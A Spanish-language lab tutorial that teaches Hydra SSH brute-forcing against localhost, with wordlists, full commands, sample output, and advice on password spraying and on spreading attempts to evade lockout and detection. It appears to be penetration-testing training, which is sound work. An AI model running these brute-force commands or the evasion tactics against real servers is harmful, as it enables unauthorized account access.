Iteración de Contraseñas en Ataques con Hydra

Introducción

En este laboratorio, aprenderás cómo Hydra itera a través de nombres de usuario y contraseñas durante un ataque SSH. Crearás listas de nombres de usuario y contraseñas, y luego ejecutarás un ataque SSH predeterminado para observar el comportamiento por defecto de Hydra.

Primero, prepararás los archivos usernames.txt y passwords.txt que contendrán listas de nombres de usuario y contraseñas, respectivamente. Luego, ejecutarás un ataque SSH básico con Hydra utilizando estas listas para demostrar cómo Hydra intenta diferentes combinaciones. Finalmente, explorarás el impacto de la opción -u en el orden en que Hydra intenta las combinaciones de nombre de usuario y contraseña.

Preparar Listas de Nombres de Usuario y Contraseñas

En este paso, crearás dos archivos esenciales: una lista de nombres de usuario y una lista de contraseñas. Estas listas serán utilizadas por Hydra para intentar inicios de sesión SSH. La creación de estas listas te permite probar sistemáticamente diversas combinaciones de nombres de usuario y contraseñas contra tu objetivo.

Primero, abre tu terminal. Actualmente te encuentras en el directorio /home/labex/project (también accesible como ~/project). Crearás los archivos en este directorio.

Utiliza el editor de texto nano para crear un archivo llamado usernames.txt:

nano ~/project/usernames.txt

Ahora, añade los siguientes nombres de usuario al archivo. Estos son ejemplos; puedes personalizarlos según sea necesario.

root
admin
test
user
ubuntu

Después de añadir el contenido, guarda el archivo presionando Ctrl + O, luego presiona Enter para confirmar el nombre de archivo y, finalmente, presiona Ctrl + X para salir de nano.

A continuación, crearás la lista de contraseñas. Nuevamente, utiliza nano para crear un archivo llamado passwords.txt:

nano ~/project/passwords.txt

Añade las siguientes contraseñas al archivo. Recuerda, estos son solo ejemplos.

password
123456
qwerty
secret
ubuntu

Guarda el archivo presionando Ctrl + O, luego presiona Enter para confirmar el nombre de archivo y, finalmente, presiona Ctrl + X para salir de nano.

Para verificar que los archivos se han creado correctamente, puedes usar el comando cat para mostrar su contenido.

Muestra el contenido de usernames.txt:

cat ~/project/usernames.txt

Debes ver una salida similar a esta:

root
admin
test
user
ubuntu

De forma similar, muestra el contenido de passwords.txt:

cat ~/project/passwords.txt

Debes ver una salida similar a esta:

password
123456
qwerty
secret
ubuntu

Estos archivos, usernames.txt y passwords.txt, ahora están listos para ser utilizados con Hydra en los pasos siguientes.

Ejecutar Ataque SSH Predeterminado

En este paso, ejecutarás un ataque SSH básico con Hydra utilizando las listas de nombres de usuario y contraseñas que creaste en el paso anterior. Esto demostrará el comportamiento predeterminado de Hydra de iterar a través de nombres de usuario y contraseñas.

La sintaxis básica del comando Hydra es:

hydra [options] <target> <service> [additional options]

• hydra: El comando para invocar la herramienta Hydra.
• [options]: Varias opciones para personalizar el ataque, como especificar listas de nombres de usuario y contraseñas.
• <target>: La dirección IP o nombre de host del servidor SSH objetivo. Para este laboratorio, usarás 127.0.0.1 (localhost) como objetivo.
• <service>: El servicio a atacar (por ejemplo, ssh, ftp, http). En este caso, es ssh.
• [additional options]: Opciones específicas del servicio.

Ahora, ejecuta el ataque SSH predeterminado. Utilizarás la opción -L para especificar la lista de nombres de usuario, la opción -P para especificar la lista de contraseñas y la opción -V para ver una salida detallada que muestre cada intento.

hydra -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

Este comando instruye a Hydra a:

• -V: Habilitar el modo detallado para mostrar cada intento de inicio de sesión.
• -L ~/project/usernames.txt: Utilizar el archivo usernames.txt en el directorio ~/project como lista de nombres de usuario.
• -P ~/project/passwords.txt: Utilizar el archivo passwords.txt en el directorio ~/project como lista de contraseñas.
• 127.0.0.1: Dirigirse al servicio SSH que se ejecuta en localhost.
• ssh: Especificar que estás atacando el servicio SSH.

Ejecuta el comando en tu terminal. Hydra intentará ahora iniciar sesión en el servicio SSH en 127.0.0.1 utilizando cada nombre de usuario en usernames.txt y cada contraseña en passwords.txt. De forma predeterminada, Hydra itera primero a través de los nombres de usuario, probando cada contraseña para un solo nombre de usuario antes de pasar al siguiente.

La salida mostrará los intentos que se realizan. Verás información detallada sobre cada intento de inicio de sesión. Dado que estás utilizando contraseñas débiles y atacando localhost, es posible que un inicio de sesión tenga éxito, pero la mayoría de los intentos fallarán.

La salida será similar a esta (la salida exacta puede variar):

Hydra vX.X (c) XXXX by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "qwerty" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "secret" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "ubuntu" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
...

Observa cómo Hydra intenta todas las contraseñas para el usuario "root" primero, luego pasa a "admin", y así sucesivamente. Este es el comportamiento predeterminado.

Ejecutar con -u para Iterar Contraseñas Primero

En este paso, usarás la opción -u con Hydra para cambiar el orden en que intenta las conexiones. De forma predeterminada, Hydra itera primero a través de los nombres de usuario, probando todas las contraseñas para cada nombre de usuario antes de pasar al siguiente. La opción -u invierte este comportamiento, haciendo que Hydra itere primero a través de las contraseñas, probando cada contraseña con todos los nombres de usuario antes de pasar a la siguiente contraseña.

Esto puede ser útil en situaciones en las que sospechas que se utiliza una contraseña común en múltiples cuentas.

Para usar la opción -u, simplemente agrégala a tu comando Hydra anterior. También usarás la opción -V nuevamente para ver los intentos detallados.

hydra -u -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

Este comando instruye a Hydra a:

• -u: Iterar las contraseñas primero.
• -V: Habilitar el modo detallado para mostrar cada intento de inicio de sesión.
• -L ~/project/usernames.txt: Utilizar el archivo usernames.txt en el directorio ~/project como lista de nombres de usuario.
• -P ~/project/passwords.txt: Utilizar el archivo passwords.txt en el directorio ~/project como lista de contraseñas.
• 127.0.0.1: Dirigirse al servicio SSH que se ejecuta en localhost.
• ssh: Especificar que estás atacando el servicio SSH.

Ejecuta el comando en tu terminal. Hydra ahora intentará iniciar sesión en el servicio SSH en 127.0.0.1. Esta vez, probará la primera contraseña en passwords.txt contra cada nombre de usuario en usernames.txt antes de pasar a la siguiente contraseña.

Observa la salida. Deberías notar que el orden de los intentos es diferente al del paso anterior. Hydra ahora probará la misma contraseña contra múltiples nombres de usuario en secuencia.

La salida será similar a esta (la salida exacta puede variar):

Hydra vX.X (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at YYYY-MM-DD HH:MM:SS
[DATA] max X tasks per X server, overall X tasks, X login tries (l:X/p:X), ~X try per task
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "test" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "user" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "ubuntu" - pass "password" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - X of X [child X] (X/X)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "123456" - X of X [child X] (X/X)
...

Observa cómo Hydra ahora prueba la "contraseña" contra todos los nombres de usuario primero, luego pasa a "123456" para todos los nombres de usuario, y así sucesivamente. Este es el comportamiento al usar la opción -u.

Al comparar la salida de este comando con la salida del comando del paso anterior, puedes ver claramente la diferencia en el orden de los intentos de inicio de sesión. Esto puede ser útil para comprender cómo funciona Hydra y para elegir la estrategia de ataque más efectiva para una situación determinada.

Analizar Patrones de Ataque y Rendimiento

En este paso, analizarás las diferencias prácticas entre los dos métodos de ataque y comprenderás cuándo cada enfoque puede ser más efectivo. También explorarás cómo optimizar los ataques con Hydra en función de diferentes escenarios.

Entendiendo la Diferencia Estratégica

La elección entre el modo predeterminado y el modo -u puede afectar significativamente la eficiencia del ataque:

• Modo predeterminado (nombre de usuario primero): Mejor cuando sospechas que usuarios específicos podrían tener contraseñas débiles.
• Modo contraseña primero (-u): Mejor cuando sospechas que se utilizan contraseñas comunes en múltiples cuentas.

Demostremos esto con un enfoque más específico. Primero, crea una prueba de menor escala y más enfocada para ver claramente la diferencia:

echo -e "admin\ntest" > ~/project/small_users.txt
echo -e "password\n123456" > ~/project/small_passwords.txt

Ahora ejecuta ambos ataques con una salida limitada para ver el patrón claramente:

Ataque predeterminado (nombre de usuario primero):

hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

La opción -t 1 limita a Hydra a usar solo 1 tarea a la vez, lo que facilita seguir la secuencia.

Ataque contraseña primero:

hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

Análisis de Rendimiento

Ahora analicemos el tiempo y la eficiencia. Crea una prueba de tiempo simple:

echo "Probando el tiempo del modo predeterminado..."
time hydra -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1

echo "Probando el tiempo del modo -u..."
time hydra -u -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1

Escenarios de Aplicación en el Mundo Real

Entendiendo cuándo usar cada modo:

1. Usa el modo predeterminado cuando:

   • Tienes información sobre cuentas específicas de alto valor.
   • Deseas probar rápidamente si las cuentas de administrador tienen contraseñas débiles.
   • Estás atacando a un pequeño número de usuarios privilegiados.

2. Usa el modo -u cuando:

   • Sospechas que se reutilizan contraseñas en múltiples cuentas.
   • Tienes una lista de contraseñas comunes de violaciones anteriores.
   • Deseas encontrar cualquier cuenta con una contraseña débil común.

Verificar Patrones de Ataque

Para ver claramente la diferencia en los patrones de ataque, creemos una demostración simple:

echo "=== Patrón de Modo Predeterminado ==="
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4

echo "=== Patrón de Modo Contraseña Primero ==="
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4

Esto mostrará claramente:

• Modo predeterminado: admin/password, admin/123456, test/password, test/123456
• Modo contraseña primero: admin/password, test/password, admin/123456, test/123456

La diferencia se vuelve crucial al tratar con políticas de bloqueo de cuentas o al intentar evitar la detección extendiendo los intentos a través de múltiples cuentas.

Resumen

En este laboratorio, has aprendido a preparar los archivos necesarios para un ataque SSH con Hydra creando listas de nombres de usuario y contraseñas en el directorio ~/project. Ejecutaste ataques SSH usando Hydra con salida detallada para observar los intentos de ataque detallados y comprender el comportamiento de iteración de Hydra.

Exploraste la diferencia crucial entre el modo predeterminado de Hydra (iteración nombre de usuario primero) y la opción -u (iteración contraseña primero). A través de la práctica, descubriste:

• Modo predeterminado: Intenta todas las contraseñas para cada nombre de usuario antes de pasar al siguiente nombre de usuario; ideal para atacar cuentas específicas de alto valor.
• Modo contraseña primero (-u): Intenta cada contraseña con todos los nombres de usuario antes de pasar a la siguiente contraseña; mejor para encontrar cuentas con contraseñas débiles comunes.

También aprendiste consideraciones prácticas para elegir entre estos modos, incluyendo las implicaciones de rendimiento y los escenarios del mundo real donde cada enfoque es más efectivo. Esta comprensión te permite optimizar tus estrategias de pruebas de penetración basadas en el entorno objetivo específico y los objetivos.

El laboratorio demostró cómo los diferentes patrones de ataque pueden ser cruciales al lidiar con políticas de bloqueo de cuentas o al intentar evitar la detección distribuyendo los intentos de inicio de sesión entre múltiples cuentas.